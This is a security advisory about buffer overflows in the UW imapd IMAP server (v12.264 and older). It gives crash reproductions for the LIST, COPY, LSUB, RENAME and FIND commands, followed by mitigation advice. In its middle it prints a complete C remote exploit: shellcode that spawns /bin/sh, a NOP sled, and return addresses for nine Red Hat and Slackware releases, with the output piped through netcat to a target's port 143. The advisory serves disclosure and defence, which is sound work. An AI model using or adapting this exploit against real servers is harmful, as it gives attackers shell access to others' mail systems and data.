COMMAND

	    imapd local root exploit via lsub arg

	

	

SYSTEMS AFFECTED

	    imapd4r1 v12.264 (imap-4.7 package from the UW) and older

	

	

PROBLEM

	    Michal Zalewski found following.  Newest RH:

	
	        OK nimue IMAP4rev1 v12.264 server ready

	        1 login lcamtuf test

	        1 OK LOGIN completed

	        1 list "" AAAAAAAAAAAAAAAAAAAAAAAAAAA...[yes, a lot of 'A's ;]

	        Program received signal SIGSEGV, Segmentation fault.

	        0x41414141 in ?? ()

	

	    Privledges seems to be dropped, but, anyway, it's nice way to  get

	    shell access  to mail  account, maybe  grab some  data from memory

	    etc.   It  is  believed  both  imap  and  ipopd packages need code

	    security audit.

	

	    To segfault  the number  of A's  has to  in the  range 1023 < #A >

	    8180.  If the command line including CR/LF is longer than 8192  an

	    error message is  displayed.  The  segfaults are in  the nntp, mh,

	    news  and   dummy  driver.    In   all  modules   the   subroutine

	    <name>_canonicalize  will  happily  strcpy  and  strcat  the  user

	    supplied   arguments   to   fixed   size   buffers  with  normally

	    MAILTMPLEN = 1024 bytes. Older version, imap-4.5-4 seems to be ok.

	

	    Here's another buffer overflow in imapd.  This time security  flaw

	    exist in standard rfc 1064 COPY command:

	
	        OK mail IMAP4rev1 v12.264 server ready

	        login siva9 secret

	        OK LOGIN completed

	        select inbox

	        2 EXISTS

	        0 RECENT

	        OK [UIDVALIDITY 956162550] UID validity status

	        OK [UIDNEXT 5] Predicted next UID

	        FLAGS (Answered Flagged Deleted Draft Seen)

	        OK [PERMANENTFLAGS (* Answered Flagged Deleted Draft Seen)] Permanent

	        flags

	        OK [UNSEEN 2] first unseen message in /var/spool/mail/siva9

	        OK [READ-WRITE] SELECT completed

	        copy 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... [a lot of A's]

	

	    No answer.   Process has been  killed by SIGSEGV.   Number of  A's

	    must be in range  from 1017 to 8180.   After LOGIN all  privileges

	    are dropped,  but we  still have  possibility to  get unprivileged

	    shell access.  This was tested against WU imapd v10.223,  v11.241,

	    v12.250, v12.261, and v12.264.

	

	    Here  comes  yet  another  buffer  overrun  (3  ones).   This time

	    affected commands are LSUB, RENAME and FIND:

	
	        OK mail IMAP4rev1 v12.264 server ready

	        login siva9 secret

	        OK LOGIN completed

	        lsub "" AAAAAAAAAAAAA.... (#A 1024 - 8179)

	

	        SIGSEGV received.

	

	        OK localhost IMAP4rev1 v12.264 server ready

	        login siva9 secret

	        OK LOGIN completed

	        rename inbox AAAAAAAAAAAAA.... (#A 1021 - 8174)

	

	        SIGSEGV received.

	

	        OK localhost IMAP4rev1 v12.264 server ready

	        login siva9 secret

	        OK LOGIN completed

	        find all.mailboxes AAAAAAAAAAAAA.... (#A 1026 - 8168)

	

	        SIGSEGV received.

	

	    It seems that all two-argument commands in authenticated state -

	    where second argument is string - are vulnerable.  ipop2/3d works

	    fine in all states, also in transaction state.

	

	 Exploit

	 =======

	

	By tracewar [piola2@bezeqint.net]
	

	/*

	vuln:

	IMAP4rev1(lsub). VERSIONS: 12.264,12.250,11.241,10.223. 

	remote exploit by tracewar.

	i know it's lame because the exploit use netcat, but it works so i don't care..

	*/

	

	#include <stdio.h>

	#include <string.h>

	#include <stdlib.h>

	#define NOP "0x90" /* i love NOPS :} */

	

	char shellcode[] =

	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

	

	int main(int argc, char **argv){

	long retaddr;

	int i,offset;

	char buffer[1064];

	if(argc != 5){ 

	printf("IMAP4rev1(lsub) remote exploit by tracewar.\n");

	printf("usage: %s <username> <password> <type> <offset>|nc remote_ip 143\n",argv[0]);

	printf("Types:\n");

	printf("[1] Red Hat 6.2 - IMAP4rev1 v12.264\n");

	printf("[2] Red Hat 6.1 - IMAP4rev1 v12.250\n");

	printf("[3] Red Hat 6.0 - IMAP4rev1 v12.250\n");

	printf("[4] Red Hat 5.2 - IMAP4rev1 v11.241\n");

	printf("[5] Red Hat 5.1 - IMAP4rev1 v10.223\n");

	printf("[6] Slackware 7.1 - IMAP4rev1 v12.264\n");

	printf("[7] Slackware 7.0 - IMAP4rev1 v12.261\n");

	printf("[8] Slackware 7.0 - IMAP4rev1 v2000.284\n");

	printf("[9] Slackware 4.0 - IMAP4rev1 v12.250\n");

	return(0);}

	

	if(atoi(argv[3]) == 1){retaddr=0xbffff2c8;}

	if(atoi(argv[3]) == 2){retaddr=0xbffff2c4;}

	if(atoi(argv[3]) == 3){retaddr=0xbffff2f0;}

	if(atoi(argv[3]) == 4){retaddr=0xbffff320;}

	if(atoi(argv[3]) == 5){retaddr=0xbffff31c;}

	if(atoi(argv[3]) == 6){retaddr=0xbffff4e0;}

	if(atoi(argv[3]) == 7){retaddr=0xbffff3ec;}

	if(atoi(argv[3]) == 8){retaddr=0xbfffebc8;}

	if(atoi(argv[3]) == 9){retaddr=0xbffff890;}

	

	offset=atoi(argv[4]);

	memset(buffer, 0x90, 1032);

	memcpy(buffer+613, shellcode, strlen(shellcode));

	for(i=strlen(shellcode)+613;i<=1064;i+=4)

	*(long *)&buffer[i] = retaddr - offset;

	printf("1 LOGIN %s %s\r\n", argv[1], argv[2]);

	printf("1 LSUB \"\" {1064}\r\n");

	for(i=0; i<1064; i++) putchar(buffer[i]);

	printf("\r\n");}

	

SOLUTION

	    1) Deinstall the imap-uw  port/package, if you you  have installed

	       it.

	    2) If  you do  not specifically  require imap  functionality (i.e.

	       pop2/pop3  is  sufficient)  then  disable  the  imap  daemon in

	       /etc/inetd.conf  and  restart  inetd  (e.g.  with  the  command

	       'killall -HUP inetd')

	

	    Unfortunately the vulnerabilities in imapd are quite extensive and

	    no patch is  currently available to  address them.   There is also

	    no  "drop-in"  replacement  for  imap-uw  currently  available  in

	    ports, although the mail/cyrus  port is another imap  server which

	    may be a suitable replacement.  Cyrus has different  configuration

	    and operational requirements than imap-uw however, which may  make

	    it unsuitable for many users.

	

	    Until a security audit of the imap-uw source can be completed  and

	    the vulnerabilities patched, it  is recommended that operators  of

	    "closed" imapd servers take steps to minimize the impact of  users

	    being able  to run  code on  the server  (i.e., by  tightening the

	    local security on the machine to minimize the damage an  intruding

	    user can cause).